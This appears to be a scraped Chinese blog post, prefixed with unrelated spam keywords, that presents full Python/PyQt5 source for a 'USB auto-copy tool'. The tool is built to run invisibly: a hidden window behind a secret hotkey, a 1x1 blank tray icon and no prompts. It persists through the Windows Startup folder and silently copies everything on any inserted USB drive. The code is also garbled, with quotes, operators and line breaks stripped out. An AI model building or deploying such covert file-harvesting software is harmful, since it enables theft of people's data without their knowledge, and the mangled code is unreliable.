山东青?u68元建网站,不愁销路的小型加工厂项目年入百万,海诚互联,chrome手机版功能#xff1a;当电脑上有U盘插入时#xff0c;自动复制U盘内的所有内容
主要特点#xff1a; 1、使用PyQt5创建图形界面#xff0c;但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静…功能当电脑上有U盘插入时自动复制U盘内的所有内容
主要特点 1、使用PyQt5创建图形界面但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静默运行无提示 7、自动跳过无法复制的文件 8、配置文件保存目标路径
使用说明 1、首次运行时按CtrlAltU显示界面 2、点击选择目标文件夹按钮设置保存位置 3、设置完成后可以关闭界面程序会在后台运行 4、插入U盘后会自动复制内容到指定文件夹 静默界面 实现代码
import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file config.jsonself.target_path self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread Thread(targetself.monitor_usb, daemonTrue)self.monitor_thread.start()def init_ui(self):self.setWindowTitle(USB自动复制工具)self.setGeometry(300, 300, 400, 200)central_widget QWidget()self.setCentralWidget(central_widget)layout QVBoxLayout()self.path_label QLabel(f当前目标路径: {self.target_path})layout.addWidget(self.path_label)select_btn QPushButton(选择目标文件夹)select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (CtrlAltU)self.hot_key_id 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord(U))except Exception as e:print(f热键注册失败: {e})def nativeEvent(self, eventType, message):try:if eventType windows_generic_MSG:msg wintypes.MSG.from_address(message.__int__())if msg.message win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f事件处理错误: {e})return False, 0def load_config(self):try:with open(self.config_file, r) as f:config json.load(f)return config.get(target_path, )except:return def save_config(self):with open(self.config_file, w) as f:json.dump({target_path: self.target_path}, f)def select_target_path(self):path QFileDialog.getExistingDirectory(self, 选择目标文件夹)if path:self.target_path pathself.path_label.setText(f当前目标路径: {self.target_path})self.save_config()def monitor_usb(self):drives_before set(win32api.GetLogicalDriveStrings().split(\000)[:-1])print(f初始驱动器: {drives_before})while True:try:drives_now set(win32api.GetLogicalDriveStrings().split(\000)[:-1])new_drives drives_now - drives_beforeif new_drives:print(f检测到新驱动器: {new_drives})for drive in new_drives:drive_type win32file.GetDriveType(drive)print(f驱动器 {drive} 类型: {drive_type})if drive_type win32con.DRIVE_REMOVABLE:print(f开始复制U盘 {drive} 内容)self.copy_usb_contents(drive)drives_before drives_nowtime.sleep(1)except Exception as e:print(f监控错误: {e})time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print(未设置目标路径)return# 获取U盘卷标名称try:volume_name win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称则使用盘符if not volume_name:volume_name os.path.splitdrive(drive)[0].rstrip(:\\)# 替换非法字符volume_name .join(c for c in volume_name if c not in r\/:*?|)except Exception as e:print(f获取卷标名称失败: {e})volume_name os.path.splitdrive(drive)[0].rstrip(:\\)target_folder os.path.join(self.target_path, volume_name)print(f复制到目标文件夹: {target_folder})if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files []try:for root, dirs, files in os.walk(drive):print(f扫描目录: {root})for file in files:file_path os.path.join(root, file)try:mtime os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f无法获取文件信息: {file_path}, 错误: {e})continueexcept Exception as e:print(f扫描目录失败: {e})all_files.sort(keylambda x: x[1], reverseTrue)print(f找到 {len(all_files)} 个文件)# 复制文件for file_path, _ in all_files:try:rel_path os.path.relpath(file_path, drive)target_path os.path.join(target_folder, rel_path)target_dir os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f复制文件: {file_path} - {target_path})shutil.copy2(file_path, target_path)except Exception as e:print(f复制失败: {file_path}, 错误: {e})continuedef eventFilter(self, obj, event):if obj is self and event.type() QEvent.WindowStateChange:if self.windowState() Qt.WindowMinimized:# 延迟执行隐藏操作避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path os.path.join(os.getenv(APPDATA), rMicrosoft\Windows\Start Menu\Programs\Startup)script_path os.path.abspath(sys.argv[0])shortcut_path os.path.join(startup_path, USBCopyTool.lnk)shell win32com.client.Dispatch(WScript.Shell)shortcut shell.CreateShortCut(shortcut_path)shortcut.Targetpath script_pathshortcut.WorkingDirectory os.path.dirname(script_path)shortcut.save()except Exception as e:print(f添加到启动项失败: {e})if __name__ __main__:# 确保只运行一个实例mutex win32event.CreateMutex(None, 1, USBCopyTool_Mutex)if win32api.GetLastError() winerror.ERROR_ALREADY_EXISTS:mutex Nonesys.exit(0)add_to_startup()app QApplication(sys.argv)tool USBCopyTool()sys.exit(app.exec_())
